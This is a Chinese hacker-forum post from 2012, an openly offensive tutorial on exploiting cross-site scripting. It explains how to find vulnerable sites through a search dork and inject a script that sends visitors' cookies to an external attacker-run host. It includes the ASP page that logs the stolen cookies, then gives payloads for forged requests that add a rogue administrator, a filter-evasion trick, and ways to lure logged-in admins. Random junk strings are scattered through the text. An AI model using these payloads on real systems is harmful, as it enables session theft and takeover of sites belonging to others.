找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2241|回复: 0
打印 上一主题 下一主题

实战xss漏洞利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:08:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前天贴吧一位朋友发了个后台XSS利用的帖子,大家就一起讨论了讨论,原帖为:
: T% N6 R0 `/ r0 W8 \% \
0 s/ Q" k7 p  m' I6 R, q! {- c  Yhttp://tieba.baidu.com/f?kz=1069007239
: V* @' `; }5 f% L9 \6 s
6 Q& N, g2 x' n! D7 d! X) J这个帖子说的只是一个思路,不是很详细,并且说的是利用后台XSS挂马的情况,但是其实在后台挂马一般是不会牵扯到XSS的,只是一个过滤不过滤转换不转换的问题,比如很多带编辑器的后台,都是不过滤不转换在文章中的html代码的,比如eweb,你可以直接编辑发表文章的时候的html代码,这就为挂马、盗cookie提供了很多机会。
0 w' W6 g4 g' K/ A5 w( N; F3 o. E/ ?: H
但是,我想说的是,即使是挂马、盗cookie,也是不会使用location这种手法的,因为这样太明显了,一般都是使用普通挂马的手法的,比如iframe、JS等等。0 k  Y6 ^+ F; Z8 S+ s; \! w
% E9 e" Y0 `- A. n# {' ]& B! T. \
我在上边的帖子中说作者讲的不是很详细,希望出一个详细点的利用教程,于是今天又一位朋友就发了一个详细些的文章,我这里就发大博客里,让更多需要的朋友看到这篇文章。
! J: H5 Z  y& C8 R
+ I8 S( G* B' w( `- X' ~$ a# z4 ?这个文章是对XSS的一个很简单的利用,原理很简单,主要用于科普,只是想让朋友们知道,XSS并不是简单的弹个框框玩那么简单的,是有很多利用价值的,在国外,XSS已经被列为网站杀手之一,包括国内的很多大站,大家都把心思放到了防范SQL注入上,相应的对XSS的防范就很少,这也是XSS总是能成功的原因之一。
, F" X$ f; u5 \* C# c* F- f9 K$ ^$ R$ h2 w
好了,废话不多说了,一起来看文章吧。
5 [* v, S) X) }# b/ _2 |: q" p0 j/ c/ L1 n
-------------------------------------------------------------------" B8 `0 h7 ^5 q% b" G, p9 u
+ w' V, z7 b4 j' C/ J! g! {
首先要找到一个有XXS的站,这里就不整什么大站了,谷歌一下inurl:'Product.asp?BigClassName',搜出来的命中率也比较高。随便找一个,先<script>alert('xxs')</script>一下。呵呵,框框出来了。
5 J# q7 s  u' o5 [, y
9 i3 t4 a6 q3 N! t
$ z, U" E$ N) U# _* b7 d! E  U; J; r/ N7 M3 F# ~# g
再看看自己的Cookie吧,把alert里面的内容换成document.cookie就可以了,如图:
1 P- {9 c: }4 m  f
  x+ x' [! L, K, ? & c! t0 U. ~$ t% Y" a3 h

) t9 q, c( K$ g/ \( \4 I) f& u这里就是要把弹出来框框里的东西收集到我们的记事本里。这里,要玩这个步骤就需要一个你自己的站点,具体思路就是* W* ~6 D  T2 q" m
1:让目标访问已跨站的网址,然后这个网址执行脚本* f% L6 Q1 R" V1 t: Q
2:然后跳转到你已经写好专门用来收集Cookie的网址
/ d* E; c1 v8 F( B7 \1 z3 l- c% {
+ s; {# l  Y3 P& F5 d9 @; ~具体实现方法:5 @* i% f; m4 V, c
先构造语句<script>window.open('http://dlgyi.rrvv.net/cookie.asp?msg='+document.cookie)</script># G' S/ h3 c0 j. y! u* h. a
这句话意思是打开一个新的窗口,访问http://dlgyi.rrvv.net/cookie.asp这个网址,并且通过msg传递一个变量,这里的变量就是我们要收集的cookie了。8 E  v4 t9 G/ a) t

" J, L1 t/ H/ }5 G6 c6 @: B' [这里需要自己写一个页面,也就是收集对方发过来cookie的页面,代码是这样的:. u0 `4 _- i7 Q" |' K5 t7 Z
4 S' `9 q* z" [3 y% W5 A
<html>
7 N2 H3 k7 S  G2 G  Q# q<title>xx</title>5 t& t9 D% j3 b: f) @, A! k
<body>/ c1 }9 _; G+ f0 N' u1 T
<%
" q: O( w9 J! A6 j3 k* z( Ctestfile = Server.MapPath("code.txt") //先构造一个路径,也就是取网站根目录,创造一个在根目录下的code.txt路径,保存在testfile中5 L/ {2 g$ T- C( t7 Z
msg = Request("msg")   //获取提交过来的msg变量,也就是cookie值$ X9 H+ G, B: j, K$ c
set fs = server.CreateObject("scripting.filesystemobject")创建一个fs对象& Q8 y; G9 ?3 Z3 a. Q
set thisfile = fs.OpenTextFile(testfile,8,True,0)/ v* \6 ~5 Y; |' g+ e
thisfile.WriteLine(""&msg&"")//像code.txt中写入获取来的cookie0 E5 p$ s5 Y1 D' r% G, r
thisfile.close   //关闭7 t, p) g* I" H& D/ i* R: V# J3 ^' ?
set fs = nothing+ t: X: A# E% B) ?, }
%>
/ G/ R" |% P/ `# ~4 i, c</body>( @; Z1 T: U' u# }- }1 p3 L3 A
</html>7 |& \3 o& C1 K( C! h
5 c7 q1 C0 v5 M8 w9 n* B9 ~
然后保存,放在你自己服务器上,如果有人点击构造好的XXS页面,就会自动在你网站的根目录生成一个文本:8 X5 ]7 O8 N$ t  W
4 w( ]/ {/ d4 b# w
$ |4 s8 e! |6 H

; ~/ d! B! J9 u( T7 L, \0 u( T9 O: W
拿出来看看,呵呵,Cookie到手:4 Y4 @# L& w4 n+ y, B0 W
6 ~" C! q' \) R1 X9 L3 |+ |" }

* M' {% Z3 J2 Q" I) s, u7 H  @
$ P4 F7 W# E* T9 z本文只是抛砖引玉,而且没有多大的实战价值,一来很多网站都过滤掉了+号这个字符连接符,二来稍大点的站,也不会存在如此的XXS,本文旨在给新手一个练习的向导,毕竟不可能谁一开始学习就可以RI掉大站,从小站开始练手,一起进步。话说咱也是新手O(∩_∩)O~
/ O9 p( ~9 _2 w* i7 J$ A
  c: V9 I& I$ KPS:一点小提示,如果提交<script>alert('xxs')</script>网站没有反应时,不要立刻就点X。你可以鼠标右击,查看一下网站的源码,看看网站到底过滤掉了什么字符,通过编码啊神马的发挥下智慧,绕过过滤。只要出现小框框,咱就胜利了。
3 ?2 k: L; ~; B- a$ S' I
- C" s: \; @. d8 z/ n-------------------------------------------------------------------
: a" K. E, C0 c
' m' T) z* \5 I2 U下面是我对这个帖子的回复,也一起贴过来吧:
  M: h3 `( g" A  F2 X0 ^# w
* j5 P+ R* Z7 ~$ D4 G说实话,像这种后台XSS其实作用不大的,一般的小站你拿到cookie也没什么利用价值,大点的站的话,或许可以用cookie盗点装备什么的,但那牵扯的多了,不过对于普通脚本小子来说,日站的时候除非毫无办法了还会想到XSS的,不过日站时候的XSS利用方法跟这篇文章里讲的差不多的,可以借鉴一下。' L2 ^+ B3 s( ^9 y

; u- r; \6 u$ H) c; d% a但是,这里的文章讲的是针对已经进入后台、拿shell无望又想多获得点东西的情况,说它鸡肋的原因是,你知道的,现在大部分站都是cookie+session的,并且一般用户名和密码不会直接放到cookie里了,这是它鸡肋的原因。
1 h- R) h& C% l: O- [6 x0 I再者,日站的时候盗cookie一般是想进后台,但是如果遇到网上有源码的情况的话,还可以进一步利用,比如添加个管理员什么的。
2 _$ e+ m& z. ~* k6 B+ c% o: N8 q# M. o8 @5 L
在文章的最后,顺便贴上一般XSS的利用思路,也不是原创,原文链接:
- }4 c+ O/ s. o$ @' D7 y1 v1 D% t5 l. A
http://user.qzone.qq.com/673116767/blog/1252452536
2 ^' Q+ ~# `+ D7 Q  k, i4 n0 ]2 W1 h& ~
一般发现一个xss漏洞后要做的基本上就是这些:
: g& C2 o" L; V- ]  t8 [. P* G1 j0 l! n8 Y8 q8 T) p' f
1.  伪造请求  使用$_REQUEST或$_GET: r; h; t3 V: }3 z$ R0 U) s
8 W* U3 z4 l$ I/ I7 t. a
首先我们要找找该网站使用的程序是不是在网上能找到源码,如果能找到源码的话,就去分析后台管理员更改密码或者增加管理员的页面,然后分析管理员使用的是不是$_REQUEST接收参数,如果是的话,我们使用该XSS漏洞构造一个请求,比如前台发表留言中可以使用HTML代码,那么我们就嵌入一个IMG元素:6 l/ c( Y' m6 q( \. `+ `5 ~/ s
<img src="/admin/admin_add.asp?name=xxx&psd=yyy" />
9 H' p& t- m: b3 _; K: N当管理员登录管理后台后看到包含img的页面的时候,就伪造了一个增加后台管理员的请求,而该请求是由管理员发出的,所以顺利的增加了一个新的管理员。* H7 [4 i2 N3 {+ G8 n

2 x$ ^: G" _9 n如果是可视文本编辑器,可以尝试使用输入:
& j' `0 R9 o& O0 p' I' c, lhttp://www.drvfan.com/xxx.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy')
6 f+ r! i) j) y8 Z* G6 B这样最终会构造出:
6 U' m! p. v# ]3 R* [<img src="http://www.drvfan.com/xxx.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy',0,0)" />
& L+ |% S% v: C* }" ?, r8 I总之要举一反三。
: y5 F& ^7 ~8 c& R- Y
# ~; G! L: o1 c+ N- S2. 伪造请求  使用$_POST
/ p- Z& L; v, d9 f
! T8 t+ ^) c2 m! E# j/ Q% m5 h当后台接收增加管理员或更改管理密码的变量时使用的是$_POST方式,那么第一种方法无效,我们视情况而定,如果没有过滤<script>,我们可以通过ajax方式来伪造请求,如:/ ?: L8 ^9 q( n
<sc/*xss*/ript type="text/javascript">
9 `. t5 k8 u& Avar aj = new ActiveXObject("MSXML2.XMLHTTP.3.0");
5 j4 P4 @! i/ [) S; l! U% g! Laj.open("POST", "/admin/admin_add.asp", false);/ O) h+ w1 c$ K- B; w8 Y) d
var postdata = 'name=xxx&psd=yyy';4 Q$ p  h8 n3 L3 a+ @
aj.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); % K6 s! m/ A& Y! K8 w0 r) M
aj.send(postdata);( H  H# v/ p$ Z6 b. Y
</scr/*xss*/ipt>- y: ^9 f% f1 t  t3 f4 y$ {! v
/*xss*/是HTML注释,用来绕过简单的对script代码块的过滤。7 _7 O; z9 `, k0 |/ ~$ ~

% l: G0 c* |8 g% w# o3. 跨站伪造请求 使用$_GET 或 $_REQUEST: e+ u* w  h9 g: I' y7 G! n

+ f( m: E% a$ Q1 l% s6 \& {! e与第一种伪造请求的方式相似,但是第一种伪造请求是利用站内的xss漏洞进行的,而跨站伪造请求,是站外发起的,比如我在我的博客的首页放了这样一个图片
$ l) e: W$ c" B- c+ J  l3 H8 c<img src="http://www.drvfan.com/admin/admin_add.asp?user=xxx&psd=yyy"/>
3 N  o; D  @9 e然后我跑到dvbbs上发帖子,“勾引”动网论坛的管理员来我的博客,如果动网论坛的管理员已经登录了他的管理后台,然后使用共享进程的浏览器(目前基于ie内核的myie,maxton等等还有firefox都是共享进程的)来访问我的博客,那么他的后台就会被加入一个用户。
" l6 b9 s6 m3 c2 l  ^$ w4 P( \
+ ^2 S7 D- I- w9 I& H; M4.跨站伪造请求 使用$_POST(0day)
/ ~1 U) T; j6 _5 a. [* w
# d. N& Z) {6 f+ r8 g+ |- P如果入侵目标的管理后台使用的是$_POST方式来接受变量,那么我们无法在我们的网站跨站使用ajax的post方式提交数据过去,因为ajax是无法跨域的。0 {' @1 F! J8 W+ a6 h) g% z  W
: a8 n6 }9 T8 k  n6 p6 {
但是我们可以在我们的网站放一个form,里面填写好数据,form的action为要利用的有漏洞的页面,然后当有人打开该页面的时候,我们就用js控制该form进行submit,ajax虽然不能跨域,但向域之外的地址提交form总是可以的。
- B4 ]4 Z$ c( I) L" T" p' @
8 }0 J' |4 P( y4 f& T3 \总之,第3,4种方法成功几率要小一些,因为我们要想办法让已经登录自身后台的管理员,使用共享session的浏览器访问我们的伪造请求的页面,有一点社会工程学的技术含量。1 `7 @  |/ f0 i8 O" d( B2 n

( e4 G# l! B4 q9 q( U& t8 ]$ V# @OK,该说的都说完了,Over。
$ N, D. Q& J. Z# w* s
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表